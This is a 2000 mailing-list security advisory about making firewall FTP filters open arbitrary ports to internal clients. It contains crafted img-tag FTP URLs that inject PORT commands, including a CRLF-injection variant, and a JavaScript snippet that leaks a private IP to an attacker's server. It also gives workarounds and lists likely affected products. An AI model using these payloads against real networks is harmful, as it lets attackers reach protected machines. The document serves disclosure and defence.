Update: Extending the FTP "ALG" vulnerability to any FTP client

[mikael.olsson () ENTERNET SE (Mikael Olsson)]

Extending the FTP "ALG" vulnerability to any FTP client

Author: Mikael Olsson, EnterNet Sweden  <mikael.olsson () enternet se>
Original Date: 2000-03-10
Originally posted to: Bugtraq, Vuln-dev  (BID 1045)
Vendor contacted: Nope, sorry, too many.

Updated: 2000-03-14
- Added exploit by Dug Song <dugsong () monkey org>
- Added browser-specific info
- Begun writing a list of firewalls expected to be vulnerable
- Rewrote a couple of paragraphs that were causing much head scratching

 Synopsis
----------

  It is possible to cause many firewalls to open arbitrary ports
  allowing external hosts to connect to "protected" clients.

  In this case, it is done by fooling the protected client
  into sending a specially crafted FTP request through the firewall,
  which it misinterprets as a legitimate FTP "PORT" command.

 Basic idea : how to open arbitrary ports against a client
-----------------------------------------------------------

  * Send a HTML email to an HTML-enabled mail reader
    containing the tag
    <img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">

    You could also conceivably plant a web page somewhere on
    a server containing this link. Please reference CERT advisory
    CA-2000-02: Malicious HTML Tags Embedded in Client Web Requests
    http://www.cert.org/advisories/CA-2000-02.html

  * Balance the number of A so that the PORT command will begin
    on a new packet boundary. This may also be done by having
    the server use a low TCP MSS to decrease the number of A's that
    one has to add.

  * The firewall in question will incorrectly parse the resulting
    RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139
    as first a RETR command and then a PORT command and open
    port 139 against your address (1.2.3.4 in this case)

  * Now the server ftp.rooted.com can connect to the client on
    port 139. Ouch.

  Before you ask:
  No, it does not have to be port 139. It can be any port.
  Some firewalls disallow "known server ports" for these connections;
  such ports cannot be used, but I'm betting there are plenty other
  ports that can be used in such cases.

 Address translation playing games
-----------------------------------

  You have to know the IP address of the client in order to
  fool the firewall into opening the port.

  If the client is not dynamically NATed, this is easy.

  If the client IS dynamically NATed, this is a bit harder.

 How to make it work through address translation
-------------------------------------------------

  There are several ways to figure out what the private
  address is. Here's two:

  * Send an email to the address in question containing an img
    src ftp://ftp.rooted.com:23456 and hope that the firewall
    won't realise that port 23456 is FTP. PORT commands won't
    be translated this way, so the private IP adress will be
    exposed. This assumes that 23456 is allowed through the
    firewall and that it won't attempt to parse FTP command data
    on that port.

  * Send an email with a link to a web page that contains javascript
    that extracts the private IP address and posts it to the server.

    The javascript code below works on Netscape; I don't know what the
    equivalent is for MSIE.

    vartool=java.awt.Toolkit.getDefaultToolkit();
    addr=java.net.InetAddress.getLocalHost();
    ip=addr.getHostAddress();

  Once we know about the IP address, we can adjust the img src
  so that it is valid for that specific internal client.

  The dynamic translation will also likely change the port number
  opened on the NAT:ed public address, but that's ok. All we have
  to do is have our fake FTP server read the command packet containing
  the PORT command, as changed by the firewall, and we'll know what
  public address and port to connect to in order to get to our desired
  port on the "protected" client.

 I think I've heard about reverse firewall penetration before
--------------------------------------------------------------

  Yeah, the idea of internal users fooling a firewall to let them
  out isn't new, but the scope of this vulnerability is "new" IMHO.

  Basically, you can get at anyone with a browser or HTML-enabled
  mail reader protected by firewalls that have more than 50% market
  coverage. That's bad.

 What about Checkpoint's FTP PASV fix for FW-1?
------------------------------------------------

  Checkpoint's fix for FW-1 is to make sure that every packet
  in the command stream ends with CRLF (0x0a 0x0d in hex).
  That would help against the above attack, but not if we
  modify it a wee bit:

  src="ftp://ftp.rooted.com/aaaaaaa%0a%0dPORT 1,2,3,4,0,139"

  Ouch. This WILL work in Netscape v4.7 (I've verified it using
  a network sniffer, anyone care for a packet dump?).

  The firewall will see this as two separate commands:
    RETR aaaaaaaaaa
    PORT 1,2,3,4,0,139

  which means that poorly implemented proxies are likely to
  be vulnerable aswell.

  This in and of itself is a browser bug IMHO. Line feeds are
  not valid characters in a file name.

  Added: 2000-03-14

  Apparently, this CRLF variant will _not_ work in MSIE (version
  unknown?). It's doing the right thing: stripping out the CRLF.
  (Second hand info, I have not verified MSIE's behaviour)

  No information on other browsers or mail readers.

 Other fixes?
--------------

  I havent seen other firewall vendors make public claims that they
  protect against any of these attacks. Cisco is apparently working
  on a fix for PIX, but it's taking time, so I'm guessing they're
  doing it the right way - since doing it the right way really does
  take quite a bit of time.

  It would seem like all the others are silently going to sneak
  fixes into their upcoming updates and pretend like they never
  were vulnerable in the first place. Grumble.

  Added: 2000-03-14

  I suspect that FW-1's security servers may disable this
  attack. (Dunno, I'm not an FW-1 user)

 What firewalls are likely to be vulnerable?
---------------------------------------------

  This specific attack is likely to work against most "stateful
  inspection" firewalls with poorly implemented application layer
  filters. This probably includes most products out there.

  It may also affect poorly implemented "proxies" when the CRLF
  is added before the PORT command as described above.

  Added: 2000-03-14

  Checkpoint FW-1 v3 is likely to allow connections on most
    ports 1024-65535 with full bidirectional communication

  Checkpoint FW-1 v4 is likely to allow connection on most
    ports 1024-65535 with only unidirectional communication

  Cisco PIX is likely to allow connections to any port
    with full bidirectional communication

  Linux's ip_masq_ftp module is _really_ easy to fool, according
    to Solar Designer. It will accept a "PORT" command anywhere
    in a packet. This means that even this is likely to work:
    "http://rooted.com:21/PORT 1,2,3,4,0,139"

  This is likely NOT a complete list. And no, I'm not going to get in
  touch with vendors and report the vulnerability. There are just
  too many that are likely to be affected.

 Exploit code (Added 2000-03-14)
---------------------------------

 Dug Song <dugsong () monkey org> kindly typed up a quick exploit to test
 this vulnerability:

 http://www.monkey.org/~dugsong/ftpd-ozone.c.txt

 What you basically do is install this beauty as a fake FTP server
 and trick the client that you want to attack into connecting to it
 by making them display an HTML page with a specially crafted "img"
 tag.

 The code above implements the server side, and also calculates
 the exact URL to send to the victim.

 References
------------

  My original discussion on opening arbitrary ports to FTP servers
  from vuln-dev, date 2000-02-08, entitled
  "Breaking through FTP ALGs -- is it possible?"
389FEB7B.AA290CC7 () enternet 
se">http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=389FEB7B.AA290CC7 () enternet se</A>

  Example attack against FW-1 by John McDonald and Thomas Lopatic
  of Data Protect, date 2000-02-09, entitled
  "FireWall-1 FTP Server Vulnerability"
38A1B2D9.3B244FAB () dataprotect 
com">http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-02-8&msg=38A1B2D9.3B244FAB () dataprotect 
com</A>

  The entire thread following John McDonald's post, which delves
  deeper into this issue and adds other ways of exploiting the
  vulnerability:
Pine.BSO.4.10.10002181711020.9857-100000 () funky monkey 
org">http://www.securityfocus.com/templates/archive.pike?list=1&date=2000-02-15&thread=Pine.BSO.4.10.10002181711020.9857-100000
 () funky monkey org</A>

  Checkpoint's quick fix for FW-1 to counter the PASV attack
  against servers:
  http://www.checkpoint.com/techsupport/alerts/pasvftp.html

  Cisco's statement regarding ongoing work for the PIX:
  http://lists.gnac.net/firewalls/mhonarc/firewalls.200003/msg00090.html

  CERT advisory CA-2000-02: Malicious HTML Tags Embedded in
  Client Web Requests:
  http://www.cert.org/advisories/CA-2000-02.html

 "The great picture"
---------------------

  Other protocols than FTP are likely to be affected by this
  type of vulnerability - pretty much any protocol that opens
  up ephereal ports after the initial command session. A couple
  that come to mind are:

  * Oracle SQL*Net (versions using separate data channels)
  * RealAudio/Video (secondary UDP channel)
  * H.323 (NetMeeting et al)

  THIS IS NOT A COMPLETE LIST. Those were just a couple of
  common ones off the top of my head.

 Workarounds to this specific vulnerability
--------------------------------------------

  * Disable active FTP. Errrr, wait. The fix for the server side
    vulnerability was to disable passive FTP. Let's rephrase that:

  * Disable FTP altogether. Block port 21. Disable FTP Application
    Layer Filters on all ports in your firewall.

  * If you can't change the settings in your firewall, set the
    "FTP Proxy" setting in your browser/HTML-enabled mail reader
    to some address that doesn't exist, like 127.0.0.2. After
    this change, your browser won't be able to connect anywhere
    using FTP.
    (From Solar Designer: This does not help if you're using
     ip_masq_ftp, since it'll be fooled by HTTP looking like FTP.)

Take care, everyone

/Mike

--
Mikael Olsson, EnterNet Sweden AB, Box 393, S-891 28 ÖRNSKÖLDSVIK
Phone: +46 (0)660 105 50           Fax: +46 (0)660 122 50
Mobile: +46 (0)70 66 77 636
WWW: http://www.enternet.se        E-mail: mikael.olsson () enternet se